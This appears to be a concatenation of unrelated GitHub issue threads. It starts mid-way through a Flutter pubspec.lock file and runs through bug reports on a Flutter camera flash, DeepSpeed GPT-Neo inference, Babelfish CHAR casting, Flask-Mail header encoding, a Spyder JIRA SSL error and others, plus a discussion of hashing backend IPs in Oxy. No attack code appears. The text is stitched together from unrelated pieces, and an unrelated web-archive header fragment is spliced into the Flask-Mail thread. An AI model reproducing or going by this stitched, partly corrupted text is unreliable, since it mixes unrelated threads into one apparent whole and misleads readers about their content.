    version: "0.3.5"
  characters:
    dependency: transitive
    description:
      name: characters
      sha256: "04a925763edad70e8443c99234dc3328f442e811f1d8fd1a72f1c8ad0f69a605"
      url: "https://pub.dev"
    source: hosted
    version: "1.3.0"
  clock:
    dependency: transitive
    description:
      name: clock
      sha256: cb6d7f03e1de671e34607e909a7213e31d7752be4fb66a86d29fe1eb14bfb5cf
      url: "https://pub.dev"
    source: hosted
    version: "1.1.1"
  collection:
    dependency: transitive
    description:
      name: collection
      sha256: ee67cb0715911d28db6bf4af1026078bd6f0128b07a5f66fb2ed94ec6783c09a
      url: "https://pub.dev"
    source: hosted
    version: "1.18.0"
  cross_file:
    dependency: transitive
    description:
      name: cross_file
      sha256: "7caf6a750a0c04effbb52a676dce9a4a592e10ad35c34d6d2d0e4811160d5670"
      url: "https://pub.dev"
    source: hosted
    version: "0.3.4+2"
  csslib:
    dependency: transitive
    description:
      name: csslib
      sha256: "09bad715f418841f976c77db72d5398dc1253c21fb9c0c7f0b0b985860b2d58e"
      url: "https://pub.dev"
    source: hosted
    version: "1.0.2"
  cupertino_icons:
    dependency: "direct main"
    description:
      name: cupertino_icons
      sha256: ba631d1c7f7bef6b729a622b7b752645a2d076dba9976925b8f25725a30e1ee6
      url: "https://pub.dev"
    source: hosted
    version: "1.0.8"
  fake_async:
    dependency: transitive
    description:
      name: fake_async
      sha256: "511392330127add0b769b75a987850d136345d9227c6b94c96a04cf4a391bf78"
      url: "https://pub.dev"
    source: hosted
    version: "1.3.1"
  flutter:
    dependency: "direct main"
    description: flutter
    source: sdk
    version: "0.0.0"
  flutter_lints:
    dependency: "direct dev"
    description:
      name: flutter_lints
      sha256: a25a15ebbdfc33ab1cd26c63a6ee519df92338a9c10f122adda92938253bef04
      url: "https://pub.dev"
    source: hosted
    version: "2.0.3"
  flutter_plugin_android_lifecycle:
    dependency: transitive
    description:
      name: flutter_plugin_android_lifecycle
      sha256: "9b78450b89f059e96c9ebb355fa6b3df1d6b330436e0b885fb49594c41721398"
      url: "https://pub.dev"
    source: hosted
    version: "2.0.23"
  flutter_test:
    dependency: "direct dev"
    description: flutter
    source: sdk
    version: "0.0.0"
  flutter_web_plugins:
    dependency: transitive
    description: flutter
    source: sdk
    version: "0.0.0"
  html:
    dependency: transitive
    description:
      name: html
      sha256: "1fc58edeaec4307368c60d59b7e15b9d658b57d7f3125098b6294153c75337ec"
      url: "https://pub.dev"
    source: hosted
    version: "0.15.5"
  leak_tracker:
    dependency: transitive
    description:
      name: leak_tracker
      sha256: "3f87a60e8c63aecc975dda1ceedbc8f24de75f09e4856ea27daf8958f2f0ce05"
      url: "https://pub.dev"
    source: hosted
    version: "10.0.5"
  leak_tracker_flutter_testing:
    dependency: transitive
    description:
      name: leak_tracker_flutter_testing
      sha256: "932549fb305594d82d7183ecd9fa93463e9914e1b67cacc34bc40906594a1806"
      url: "https://pub.dev"
    source: hosted
    version: "3.0.5"
  leak_tracker_testing:
    dependency: transitive
    description:
      name: leak_tracker_testing
      sha256: "6ba465d5d76e67ddf503e1161d1f4a6bc42306f9d66ca1e8f079a47290fb06d3"
      url: "https://pub.dev"
    source: hosted
    version: "3.0.1"
  lints:
    dependency: transitive
    description:
      name: lints
      sha256: "0a217c6c989d21039f1498c3ed9f3ed71b354e69873f13a8dfc3c9fe76f1b452"
      url: "https://pub.dev"
    source: hosted
    version: "2.1.1"
  matcher:
    dependency: transitive
    description:
      name: matcher
      sha256: d2323aa2060500f906aa31a895b4030b6da3ebdcc5619d14ce1aada65cd161cb
      url: "https://pub.dev"
    source: hosted
    version: "0.12.16+1"
  material_color_utilities:
    dependency: transitive
    description:
      name: material_color_utilities
      sha256: f7142bb1154231d7ea5f96bc7bde4bda2a0945d2806bb11670e30b850d56bdec
      url: "https://pub.dev"
    source: hosted
    version: "0.11.1"
  meta:
    dependency: transitive
    description:
      name: meta
      sha256: bdb68674043280c3428e9ec998512fb681678676b3c54e773629ffe74419f8c7
      url: "https://pub.dev"
    source: hosted
    version: "1.15.0"
  path:
    dependency: transitive
    description:
      name: path
      sha256: "087ce49c3f0dc39180befefc60fdb4acd8f8620e5682fe2476afd0b3688bb4af"
      url: "https://pub.dev"
    source: hosted
    version: "1.9.0"
  plugin_platform_interface:
    dependency: transitive
    description:
      name: plugin_platform_interface
      sha256: "4820fbfdb9478b1ebae27888254d445073732dae3d6ea81f0b7e06d5dedc3f02"
      url: "https://pub.dev"
    source: hosted
    version: "2.1.8"
  sky_engine:
    dependency: transitive
    description: flutter
    source: sdk
    version: "0.0.99"
  source_span:
    dependency: transitive
    description:
      name: source_span
      sha256: "53e943d4206a5e30df338fd4c6e7a077e02254531b138a15aec3bd143c1a8b3c"
      url: "https://pub.dev"
    source: hosted
    version: "1.10.0"
  stack_trace:
    dependency: transitive
    description:
      name: stack_trace
      sha256: "73713990125a6d93122541237550ee3352a2d84baad52d375a4cad2eb9b7ce0b"
      url: "https://pub.dev"
    source: hosted
    version: "1.11.1"
  stream_channel:
    dependency: transitive
    description:
      name: stream_channel
      sha256: ba2aa5d8cc609d96bbb2899c28934f9e1af5cddbd60a827822ea467161eb54e7
      url: "https://pub.dev"
    source: hosted
    version: "2.1.2"
  stream_transform:
    dependency: transitive
    description:
      name: stream_transform
      sha256: "14a00e794c7c11aa145a170587321aedce29769c08d7f58b1d141da75e3b1c6f"
      url: "https://pub.dev"
    source: hosted
    version: "2.1.0"
  string_scanner:
    dependency: transitive
    description:
      name: string_scanner
      sha256: "556692adab6cfa87322a115640c11f13cb77b3f076ddcc5d6ae3c20242bedcde"
      url: "https://pub.dev"
    source: hosted
    version: "1.2.0"
  term_glyph:
    dependency: transitive
    description:
      name: term_glyph
      sha256: a29248a84fbb7c79282b40b8c72a1209db169a2e0542bce341da992fe1bc7e84
      url: "https://pub.dev"
    source: hosted
    version: "1.2.1"
  test_api:
    dependency: transitive
    description:
      name: test_api
      sha256: "5b8a98dafc4d5c4c9c72d8b31ab2b23fc13422348d2997120294d3bac86b4ddb"
      url: "https://pub.dev"
    source: hosted
    version: "0.7.2"
  vector_math:
    dependency: transitive
    description:
      name: vector_math
      sha256: "80b3257d1492ce4d091729e3a67a60407d227c27241d6927be0130c98e741803"
      url: "https://pub.dev"
    source: hosted
    version: "2.1.4"
  video_player:
    dependency: "direct main"
    description:
      name: video_player
      sha256: "4a8c3492d734f7c39c2588a3206707a05ee80cef52e8c7f3b2078d430c84bc17"
      url: "https://pub.dev"
    source: hosted
    version: "2.9.2"
  video_player_android:
    dependency: transitive
    description:
      name: video_player_android
      sha256: "391e092ba4abe2f93b3e625bd6b6a6ec7d7414279462c1c0ee42b5ab8d0a0898"
      url: "https://pub.dev"
    source: hosted
    version: "2.7.16"
  video_player_avfoundation:
    dependency: transitive
    description:
      name: video_player_avfoundation
      sha256: cd5ab8a8bc0eab65ab0cea40304097edc46da574c8c1ecdee96f28cd8ef3792f
      url: "https://pub.dev"
    source: hosted
    version: "2.6.2"
  video_player_platform_interface:
    dependency: transitive
    description:
      name: video_player_platform_interface
      sha256: "229d7642ccd9f3dc4aba169609dd6b5f3f443bb4cc15b82f7785fcada5af9bbb"
      url: "https://pub.dev"
    source: hosted
    version: "6.2.3"
  video_player_web:
    dependency: transitive
    description:
      name: video_player_web
      sha256: "881b375a934d8ebf868c7fb1423b2bfaa393a0a265fa3f733079a86536064a10"
      url: "https://pub.dev"
    source: hosted
    version: "2.3.3"
  vm_service:
    dependency: transitive
    description:
      name: vm_service
      sha256: "5c5f338a667b4c644744b661f309fb8080bb94b18a7e91ef1dbd343bed00ed6d"
      url: "https://pub.dev"
    source: hosted
    version: "14.2.5"
  web:
    dependency: transitive
    description:
      name: web
      sha256: cd3543bd5798f6ad290ea73d210f423502e71900302dde696f8bff84bf89a1cb
      url: "https://pub.dev"
    source: hosted
    version: "1.1.0"
sdks:
  dart: ">=3.5.0 <4.0.0"
  flutter: ">=3.24.0"

Steps to reproduce

Follow the instructions in the camera package and use the example code provided in the example.
Update the ResolutionPreset from medium to high.
Launch the app on an iOS real device.
Switch to the front camera and attempt to take a photo. A white screen may appear.
If no white screen appears, try switching cameras multiple times or rerunning the app to reproduce the issue.

Expected results
There is no white screen showing.
Actual results
A white screen appears after pressing the take photo button.
I found this issue #88939, which is similar. However, when I try using the iOS camera app, the white screen does not appear.
Code sample
final CameraController cameraController = CameraController(
      cameraDescription,
      ResolutionPreset.high, // <- Change this line from "kIsWeb ? ResolutionPreset.max : ResolutionPreset.medium" to "ResolutionPreset.high"
      enableAudio: enableAudio,
      imageFormatGroup: ImageFormatGroup.jpeg,
    );

Screenshots or Videos
https://github.com/user-attachments/assets/28549772-e962-4f58-be97-60b9825a88e5
Logs
No response
Flutter Doctor output
[✓] Flutter (Channel stable, 3.24.4, on macOS 15.0.1 24A348 darwin-arm64, locale en-TH)
[!] Android toolchain - develop for Android devices (Android SDK version 34.0.0)
    ✗ cmdline-tools component is missing
      Run `path/to/sdkmanager --install "cmdline-tools;latest"`
      See https://developer.android.com/studio/command-line for more details.
    ✗ Android license status unknown.
      Run `flutter doctor --android-licenses` to accept the SDK licenses.
      See https://flutter.dev/to/macos-android-setup for more details.
[✓] Xcode - develop for iOS and macOS (Xcode 16.1)
[✓] Chrome - develop for the web
[✓] Android Studio (version 2024.1)
[✓] VS Code (version 1.95.1)
[✓] Network resources

Hi @ufznr37, your flash is on in the flutter example which is why you see the screen flash white. If you turn it off you won't have the flash. You most likely have your flash turned off in your iOS camera app which is why you don't see the flash.
You can see the "issue" reproduce in the camera app when I turn on my torch in the video below and likewise, you do not see it when I turn my torch off in the flutter example.
I tested on my iPhone XS running iOS 18.1.
Closing from here as this is not an issue with the flutter camera implementation but rather the iOS camera itself.

flutter
camera app


Help needed finding the parameters/variables

Dear @jtorde,
Can you please help me find the topics/parameters relevant to the
flight times, Distances, MIQP Whole Traj, Cvx. Decomp. Whole Traj?
Is fig 6: plot using rqt_multiplot_plugin?

Hi @jtorde ,
Thank you for the reply, I was expecting you for a long time,
I made some progress on your advice, I have recorded the rosbag file, and trying to compute the distance and time using the matlab, I confused that what formula should I use for jerk-controlled model, To be clear Here(in rosbag recorded (/SQ01s/goal) I have all the coordinates and velocity, acceleration that quadrotor travelled, the trajectory which is a 3D bezier curved right?
Is it possible for you to share the code to compute the distance travelled, time taken by quadrotor? It will help me to apply and evaluate in different worlds, performance of FASTER.

Thank you for the replies @jtorde. I learned many things through your research.


[BUG] TypeError: cannot assign 'torch.HalfTensor' as parameter 'attn_ob' (torch.nn.Parameter or None expected)

Describe the bug
GPT-Neo init_inference error
To Reproduce
from transformers import AutoTokenizer, AutoModelForCausalLM, pipeline
import deepspeed, torch

model_name = 'EleutherAI/gpt-neo-125M'
tokenizer = AutoTokenizer.from_pretrained(model_name)
model = AutoModelForCausalLM.from_pretrained(model_name, pad_token_id=tokenizer.eos_token_id).eval()
deepspeed.init_inference(model, dtype=torch.half, replace_method='auto', replace_with_kernel_inject=True)

# TypeError: cannot assign 'torch.HalfTensor' as parameter 'attn_ob' (torch.nn.Parameter or None expected)

ds_report output
--------------------------------------------------
DeepSpeed C++/CUDA extension op report
--------------------------------------------------
NOTE: Ops not installed will be just-in-time (JIT) compiled at
      runtime if needed. Op compatibility means that your system
      meet the required dependencies to JIT install the op.
--------------------------------------------------
JIT compiled ops requires ninja
ninja .................. [OKAY]
--------------------------------------------------
op name ................ installed .. compatible
--------------------------------------------------
cpu_adam ............... [NO] ....... [OKAY]
cpu_adagrad ............ [NO] ....... [OKAY]
fused_adam ............. [NO] ....... [OKAY]
fused_lamb ............. [NO] ....... [OKAY]
sparse_attn ............ [NO] ....... [OKAY]
transformer ............ [NO] ....... [OKAY]
stochastic_transformer . [NO] ....... [OKAY]
 [WARNING]  async_io requires the dev libaio .so object and headers but these were not found.
 [WARNING]  If libaio is already installed (perhaps from source), try setting the CFLAGS and LDFLAGS environment variables to where it can be found.
async_io ............... [NO] ....... [NO]
transformer_inference .. [NO] ....... [OKAY]
utils .................. [NO] ....... [OKAY]
quantizer .............. [NO] ....... [OKAY]
--------------------------------------------------
DeepSpeed general environment info:
torch install path ............... ['/home/stardust/anaconda3/lib/python3.8/site-packages/torch']
torch version .................... 1.9.0+cu111
torch cuda version ............... 11.1
nvcc version ..................... 11.4
deepspeed install path ........... ['/home/stardust/anaconda3/lib/python3.8/site-packages/deepspeed']
deepspeed info ................... 0.5.8, unknown, unknown
deepspeed wheel compiled w. ...... torch 1.9, cuda 11.1

System info (please complete the following information):

OS: Ubuntu 18.04
GPU count and types: RTX3090
Interconnects: None
Python version: 3.8.11
Any other relevant info about your setup

Seems I used 0.5.6 in notebook and updates to 0.5.8 solved this issue.

Seems I used 0.5.6 in notebook and updates to 0.5.8 solved this issue.

I hit the same issue - very similar situation - except I have GPTNeo2.7B - running on a v100 - with latest version of deepspeed and torch
DeepSpeed C++/CUDA extension op report
cpu_adam ............... [NO] ....... [OKAY]
cpu_adagrad ............ [NO] ....... [OKAY]
fused_adam ............. [NO] ....... [OKAY]
fused_lamb ............. [NO] ....... [OKAY]
sparse_attn ............ [NO] ....... [OKAY]
transformer ............ [NO] ....... [OKAY]
stochastic_transformer . [NO] ....... [OKAY]
[WARNING]  async_io requires the dev libaio .so object and headers but these were not found.
[WARNING]  async_io: please install the libaio-dev package with apt
[WARNING]  If libaio is already installed (perhaps from source), try setting the CFLAGS and LDFLAGS environment variables to where it can be found.
async_io ............... [NO] ....... [NO]
transformer_inference .. [NO] ....... [OKAY]
utils .................. [NO] ....... [OKAY]
quantizer .............. [NO] ....... [OKAY]
DeepSpeed general environment info:
torch install path ............... ['/datadrive/patrickh/.local/lib/python3.8/site-packages/torch']
torch version .................... 1.10.2+cu102
torch cuda version ............... 10.2
nvcc version ..................... 10.2
deepspeed install path ........... ['/datadrive/patrickh/.local/lib/python3.8/site-packages/deepspeed']
deepspeed info ................... 0.5.10, unknown, unknown
deepspeed wheel compiled w. ...... torch 0.0, cuda 0.0

Hi,
I will send a PR to fix this soon
Thanks,
Reza

Hi @haluptzok and @callzhang,
can you please try this PR to see if it solves the issue?
Thanks,
Reza


Update powerrename.md

Updated PowerRename to describe the available settings. Addresses PowerToys 8440.
cc: @mattwojo

@dedavis6797 : Thanks for your contribution! The author(s) have been notified to review your proposed change.


warning of cluster settings a user must not change

Documenting what a user can/ cannot, must not change in CC cluster.

Closing in favor of #6538


hiding the real backend server address(#107)

refer #107 for details

@klizhentas @archisgore any suggestions?

If security is your goal, hashing is a bad idea. First of all no matter how strong the hash (and MD5 has been broken a lot), the cardinality of an IP address is only 4 bytes (32 bits) that means only about 4 billion combinations. MD5 generates an output that's 128-bits wide. Meaning nearly every IP will map to one and only one hashed value, making dictionaries even more trivial.
This problem gets much worse because MOST server IPs behind vulcan will be Private addresses, totaling about 17,891,328 (https://en.wikipedia.org/wiki/Private_network#Private_IPv4_address_spaces)
Since vulcan is open source, this will be broken trivially.
You need an irreversible transform (or a computationally difficult one to reverse.)
I don't mean to propose a solution here, but here are some thoughts:
My first pick would be a cryptographically secure random number. It would be arbitrary. This is difficult to do in a distributed system like vulcan (without writing back to etcd.) If this could be done, it would be completely unguessable and irreversible.
The other is to salt the hash with some shared random number. Only instances connected to that etcd cluster will have access to the salt value. An attacker would not.
An easy way to salt+hash is to use shared symmetric key. Then encrypt each server's name using this key. Even if the attacker has 17 million or so addresses, they would need to guess one of a bunch of key possibilities (depending on key length).

Oh wait, I forgot, this isn't vulcan, but Oxy. Why not externalize the hash function? When instantiating NewStickySession() it can be passed an interface "Obfuscator"
type Obfuscator interface {
    Obfuscate(string) string
    Normalize(string) string
}

Implementors who know how to share data across instances can use random numbers. Other implementors might use salting. While others might be okay with hashing. At least at instantiation, it forces the implementor to make a decision and they know what they're getting into.


Right way of creating a custom AFT model

I have been playing around with this very nice library (thanks a lot for writing it!) and for what I have read, it should be pretty easy to implement custom fitters, as it is shown in one of the Examples. So I tried to implement a custom AFT fitter, which seems straightforward. However, I have one question:

If my new fitter is CustomAFTFitter then I need to define the CustomFitter class too, since this is looked for in the method _create_initial_point() of the parent class ParametericAFTRegressionFitter. However, this fitter will not be found unless one includes it in the lifelines package, as it will be called as:

name = self.__class__.__name__.replace("AFT", "")
uni_model = getattr(lifelines, name)()

So, if I don't do anything I will get the following error message:
File "/home/tapiac/.virtualenvs/py36/lib/python3.6/site-packages/lifelines/fitters/__init__.py", line 1688, in _create_initial_point
    uni_model = getattr(lifelines, name)()
AttributeError: module 'lifelines' has no attribute 'CustomFitter'

I can rewrite this method in the new CustomAFTFitter pointing to the correct CustomFitter. Then the AFT model works. Is this the intended way to do this? (rewriting the _create_initial_point() method?) Or is there another way to do this?

Hi @cristobaltapia, interesting, I never planned on users to write their own AFT models, but I can think about how to make this easier in the future.
One quick workaround is to just explicitly set the initial points in the call to fit:
my_aft.fit(df, 'T', 'E', initial_point=np.zeros(...))

That's not a very "nice" solution however.  You could rewrite/overwrite _create_initial_point to return something like a vector of zeros, too, however.

Hi @CamDavidsonPilon , it is not like I know exactly what I am doing with the custom AFT model though... just experimenting a bit :sweat_smile: .
Both solutions seem OK for me, as it is not so much extra code. I just thought you might have thought about it already, since there was this example about making the custom model. :P
By the way, is there any literature you would recommend regarding the implemented AFT models?

Here's a resource for AFT models and Cox models I like: https://harvest.usask.ca/bitstream/handle/10388/etd-03302009-140638/JiezhiQiThesis.pdf
But they may use different parameterizations

Thanks for that reference! ;)


Removed service to avoid recursion problem

In order to avoid problems with recursion, I would suggest to store in the resource object only the information necessary from the service, in this case path.
Fixes https://github.com/google/google-api-php-client/issues/533

Looks good.


sqlite3.InterfaceError

I am trying to play with Odia. I get the following error. Can anyone help to get rid of this issue?
File "/usr/lib/python3.4/site-packages/sqlalchemy/engine/default.py", line 470, in do_execute
    cursor.execute(statement, parameters)
sqlite3.InterfaceError: Error binding parameter 0 - probably unsupported type.

The above exception was the direct cause of the following exception:
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/lib/python3.4/site-packages/chatterbot/trainers.py", line 133, in train
    statement = self.get_or_create(text)
  File "/usr/lib/python3.4/site-packages/chatterbot/trainers.py", line 28, in get_or_create
    statement = self.storage.find(statement_text)
  File "/usr/lib/python3.4/site-packages/chatterbot/storage/sql_storage.py", line 141, in find
    record = query.first()
  File "/usr/lib/python3.4/site-packages/sqlalchemy/orm/query.py", line 2755, in first
    ret = list(self[0:1])
  File "/usr/lib/python3.4/site-packages/sqlalchemy/orm/query.py", line 2547, in __getitem__
    return list(res)
  File "/usr/lib/python3.4/site-packages/sqlalchemy/orm/query.py", line 2855, in __iter__
    return self._execute_and_instances(context)
  File "/usr/lib/python3.4/site-packages/sqlalchemy/orm/query.py", line 2878, in _execute_and_instances
    result = conn.execute(querycontext.statement, self._params)
  File "/usr/lib/python3.4/site-packages/sqlalchemy/engine/base.py", line 945, in execute
    return meth(self, multiparams, params)
  File "/usr/lib/python3.4/site-packages/sqlalchemy/sql/elements.py", line 263, in _execute_on_connection
    return connection._execute_clauseelement(self, multiparams, params)
  File "/usr/lib/python3.4/site-packages/sqlalchemy/engine/base.py", line 1053, in _execute_clauseelement
    compiled_sql, distilled_params
  File "/usr/lib/python3.4/site-packages/sqlalchemy/engine/base.py", line 1189, in _execute_context
    context)
  File "/usr/lib/python3.4/site-packages/sqlalchemy/engine/base.py", line 1402, in _handle_dbapi_exception
    exc_info
  File "/usr/lib/python3.4/site-packages/sqlalchemy/util/compat.py", line 203, in raise_from_cause
    reraise(type(exception), exception, tb=exc_tb, cause=cause)
  File "/usr/lib/python3.4/site-packages/sqlalchemy/util/compat.py", line 186, in reraise
    raise value.with_traceback(tb)
  File "/usr/lib/python3.4/site-packages/sqlalchemy/engine/base.py", line 1182, in _execute_context
    context)
  File "/usr/lib/python3.4/site-packages/sqlalchemy/engine/default.py", line 470, in do_execute
    cursor.execute(statement, parameters)
sqlalchemy.exc.InterfaceError>>>

I think this might related to this https://github.com/gunthercox/ChatterBot/issues/1130?

@indiclinguist I'm going to close this ticket off. It appears that the code that was triggering this error has since been removed from the ChatterBot project. Feel free to open a new issue if difficulties persist.


The string size for the given CHAR/NCHAR data is not defined. Please use an explicit CAST or CONVERT to CHAR(n)/NCHAR(n)

Hi Alex @staticlibs ,
Getting below issue and shared you the log file details in mail, can you please check
The string size for the given CHAR/NCHAR data is not defined. Please use an explicit CAST or CONVERT to CHAR(n)/NCHAR(n)

@psrinivasa2
Thanks for the details! Here is the backtrace from your log:
	at babelfishpg_tds!TdsGetGenericTypmod (tdsresponse.c:1495:63) [0x6a1d4772]
	at babelfishpg_tds!PrepareRowDescription (tdsresponse.c:1665:9) [0x6a1d20c3]
	at babelfishpg_tds!TdsSendRowDescription (tdsresponse.c:2589:0) [0x6a1d5985]
	at postgres!standard_ExecutorRun (execMain.c:359:0) [0x401887c7]
	at pg_stat_statements!pgss_ExecutorRun (pg_stat_statements.c:1012:0) [0x01b82391]
	at postgres!PortalRunSelect (pquery.c:926:0) [0x40353c93]
	at postgres!PortalRun (pquery.c:775:0) [0x40352e98]
	at babelfishpg_tsql!execute_plan_and_push_result (pl_exec-2.c:3183:0) [0x61f5f9dc]
	at babelfishpg_tsql!exec_stmt_execsql (pl_exec.c:4849:21) [0x61f5b68d]
	at babelfishpg_tsql!dispatch_stmt (iterative_exec.c:847:0) [0x61f52bb4]
	at babelfishpg_tsql!dispatch_stmt_handle_error (iterative_exec.c:1214:11) [0x61f5386f]
	at babelfishpg_tsql!exec_stmt_iterative (iterative_exec.c:1527:23) [0x61f5d136]
	at babelfishpg_tsql!pltsql_exec_function (pl_exec.c:673:0) [0x61f626f0]
	at babelfishpg_tsql!pltsql_inline_handler (pl_handler.c:4565:0) [0x61f47e56]
	at babelfishpg_tds!SPExecuteSQL (tdsrpc.c:536:0) [0x6a1dd19d]
	at babelfishpg_tds!ProcessTDSRequest (tdsprotocol.c:388:0) [0x6a1cfb1d]
	at babelfishpg_tds!TdsSocketBackend (tdsprotocol.c:644:0) [0x6a1d00fb]
	at babelfishpg_tds!pe_process_command (tds_srv.c:429:5) [0x6a1e3f52]
	at postgres!PostgresMain (postgres.c:4624:0) [0x4034eefc]
	at postgres!SubPostmasterMain (postmaster.c:5185:0) [0x402c0dac]
	at postgres!main (main.c:194:10) [0x401e1f97]
	at postgres!__scrt_common_main_seh (exe_common.inl:288:34) [0x404fb8f4]
	at KERNEL32!BaseThreadInitThunk (unknown_file:0:0) [0xaf13257d]
	at ntdll!RtlUserThreadStart (unknown_file:0:0) [0xb144af28]

Though the query that causes it is too big to reproduce this in a minimal example quickly. I would think that the problem is related to CASE as there were multiple fixes in that area in the latest Babelfish. I will try to find a reproducible example for this. If you can share the DDL for tables used in the query - that can be helpful.

Minimal reproducers:
select
    case when 1 > 0 then 'foo'
	else cast('bar' as char(3))
end

select
    case when 1 < 0 then cast('foo' as char(3))
	else 'bar'
end

This problem was fixed in upstream Babelfish just a few days ago - #2931. I can confirm that the backport is working with WiltonDB and is going to be included into the upcoming release. The update is only blocked now by the completion of #53.

Hi Alex,
I was on holiday for last week, couldn't get chance to check it. Thanks for the update,

@psrinivasa2
Just to confirm, that the installer update with #2931 included should be available shortly.

Hi @staticlibs,
Below is tested from myside added comments, can you check if you miss to get notification
https://github.com/wiltondb/wiltondb/issues/53

@psrinivasa2
Yes, thanks for heads up, missed that one, commented now.


Non-ascii SUBJECT and FROM turns into " =?utf-8?b?" even when charset is set to iso-8859-2

Hi,
So this is an interesting one.
I am trying to send email with a non-ascii subject line (Hungarian). The problem is that at the first non-ascii character the " =?utf-8?" string gets added - which is not a problem, but when the email client - both GMail and Yahoo Mail displays it that additional space is left there. So basically at random places there are spaces added to the subject line.
Settings the encoding specifically to iso-8859-2 doesn't help, as it seems the UTF8 encodeded version always takes precendence.
Sending the email like this:
    app = current_app._get_current_object()
    msg = Message(subject='Sikeres regisztracio es belepo a SF Kiallitasra (belépő)',
                              sender=('SF Biztonságtechnikai Kiállítás & Konferencia', 'kiallitas@sf.com'),
                              recipients=[('Fedoráéő Zoltan' , 'e@yahoo.com')],
                              charset='iso-8859-2', bcc=[bcc])
    msg.body = render_template((template + '.txt'), **kwargs).encode('iso-8859-2')
    msg.html = render_template((template + '.html'), **kwargs).encode('iso-8859-2')
    print(msg.charset)
    thr = Thread(target=send_async_email, args=[app, msg])
    thr.start()

This is what flask-mail generates:
Content-Type: multipart/mixed; boundary="===============2657123796784931499=="\r\nMIME-Version: 1.0\r\nSubject: Sikeres regisztracio es belepo az SF Kiallitasra (b\r\n =?utf-8?b?ZWzDqXDFkSk=?=\r\nFrom: SF =?utf-8?q?Biztons=C3=A1gtechnikai?=\r\n =?utf-8?b?S2nDoWxsw610w6Fz?= & Konferen cia<EMAIL_ADDRESS>=?iso-8859-2?q?Fedor=E1=E9=F5_Zoltan?=<EMAIL_ADDRESS>Fri, 18 Mar 2016 22:50:40 +0100\r\nMessage-ID<EMAIL_ADDRESS>multipart/alternative;\r\n boundary="===============5571071455436956408=="\r\nMIME-Version: 1.0\r\n\r\n--===============5571071455436956408==\r\nContent-Type: text/plain; charset="iso-8859-2"\r\nMIME-Version: 1.0\r\nContent-Transfer-Encoding: quoted-printable\r\n\r\nTisztelt Fedor=E1=E9=F5 Zoltan etc
As you can see, the funny thing is that the TO field correctly encoded with iso-8859-2, but the Subject and From is still encoded with utf-8. Those encodings are fine (if the client knows utf-8), but they added an additional " =?utf-8?", so after the client encoding it it will have an additional space/loses a space.
So in GMail and Yahoo Mail this will show like:

From: SF BiztonságtechnikaiKiállítás & Konferen cia<EMAIL_ADDRESS>To: Fedoráéő Zoltan<EMAIL_ADDRESS>Subject: Sikeres regisztracio es belepo a SF Kiallitasra (b elépő)

observe the additional space in the subject "(b elépő)" and the additional and lost spaces in the "FROM" field.

If you look at the header above, then you can see that the reason why the TO is displaying correctly and the FROM and SUBJECT doesn't that the "\r\n =?utf-8?b?" is inserted mid-text and that additional space is sometimes adds a text to display, sometimes taken away.
Interesting thing is that the flask_mail.py file's sanitize_subject() method correctly returns the iso-8859-r encoded version of the subject, but what makes into the email header is that utf8 encoded MIME version.
Any idea how to actually use Flask-Mail to send international characters in the FROM and SUBJECT field without additional / lost spaces?

It seems the additional space in the subject is because of reaching the 78 character limit of the subject line where a line break with a space is added, that seems to be part of the standard (althoughtsurprising that GMAIL and Yahoo Mail both would not follow the standard, but whatever).
It is still a question why spaces are taken away from the FROM and why utf8 is being used, when charset=iso-8859-2 is specified explicitely.

ps, I am using Python 3.5.1

no results for From:  Snapshot-Content-Location: https://github.com/ThomasOPMarks/Blind-Person-Running/blob/c73130ab92281eea3a9c5a9111cb0bac6dbb1fa0/Blind Person Running App.xcodeproj/xcuserdata/student.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist Subject: =?utf-8?Q?Blind-Person-Running/Breakpoints_v2.xcbkptlist=20at=20c73130ab9?= =?utf-8?Q?2281eea3a9c5a9111cb0bac6dbb1fa0=20=C2=B7=20ThomasOPMarks/Blind-?= =?utf-8?Q?Person-Running?= Date: Fri, 5 Jul 2018 12:35:49 -0000 MIME-Version: 1.0 Content-Type: multipart/related; type="text/html"; boundary="----MultipartBoundary--4usT75YIKXQRN4UA5UYAM0zUtLP1H7Ed0YYb1Wx5PN----" ------MultipartBoundary--4usT75YIKXQRN4UA5UYAM0zUtLP1H7Ed0YYb1Wx5PN---- Content-Type: text/html Content-ID<EMAIL_ADDRESS>Content-Transfer-Encoding: binary Content-Location: https://github.com/ThomasOPMarks/Blind-Person-Running/blob/c73130ab92281eea3a9c5a9111cb0bac6dbb1fa0/Blind%


JIRA access getting SSLError Certificate Verify Failed

Issue Report Checklist

[x] Searched the issues page for similar reports

[x] Read the relevant sections of the Spyder Troubleshooting Guide and followed its advice

[x] Reproduced the issue after updating with conda update spyder (or pip, if not using Anaconda)

[ ] Could not reproduce inside jupyter qtconsole (if console-related)

[x] Tried basic troubleshooting (if a bug/error)

[x] Restarted Spyder
[x] Reset preferences with spyder --reset
[x] Reinstalled the latest version of Anaconda
[x] Tried the other applicable steps from the Troubleshooting Guide

[x] Completed the Problem Description, Steps to Reproduce and Version sections below

Problem Description
Trying to access JIRA server but unable to get in. Receiving SSL: CERTIFICATE_VERIFY_FAILED. If the same commands are run in Win Powershell, everything works fine but getting error in Spyder. In the initial stages, even in Powershell the same error popped up but it was resolved when "python-certifi-win32" is installed but the same solution is NOT helping in spyder.
What steps reproduce the problem?

server =  'https://jira.company.com:444/'
usrnme = "id"
pwd = "password"
jira_instance = JIRA(server = server, basic_auth=(usrnme, pwd))

Code above ran in powershell without error
Same code throws error in Spyder

What is the expected output? What do you see instead?
Expected output is a jira session object in "jira_instance" instead receiving SSL Certificate Verify Failed
Paste Traceback/Error Below (if applicable)

runfile('C:/Users/desktop/JiraConnection.py', wdir='C:/Users/desktop')
WARNING:root:HTTPSConnectionPool(host='jira.company.com', port=444): Max retries exceeded with url: /rest/api/2/serverInfo (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1051)'))) while doing GET https://jira.company.com:444/rest/api/2/serverInfo [{'params': None, 'headers': {'User-Agent': 'python-requests/2.25.1', 'Accept-Encoding': 'gzip, deflate', 'Accept': 'application/json,*.*;q=0.9', 'Connection': 'keep-alive', 'Cache-Control': 'no-cache', 'Content-Type': 'application/json', 'X-Atlassian-Token': 'no-check'}}]
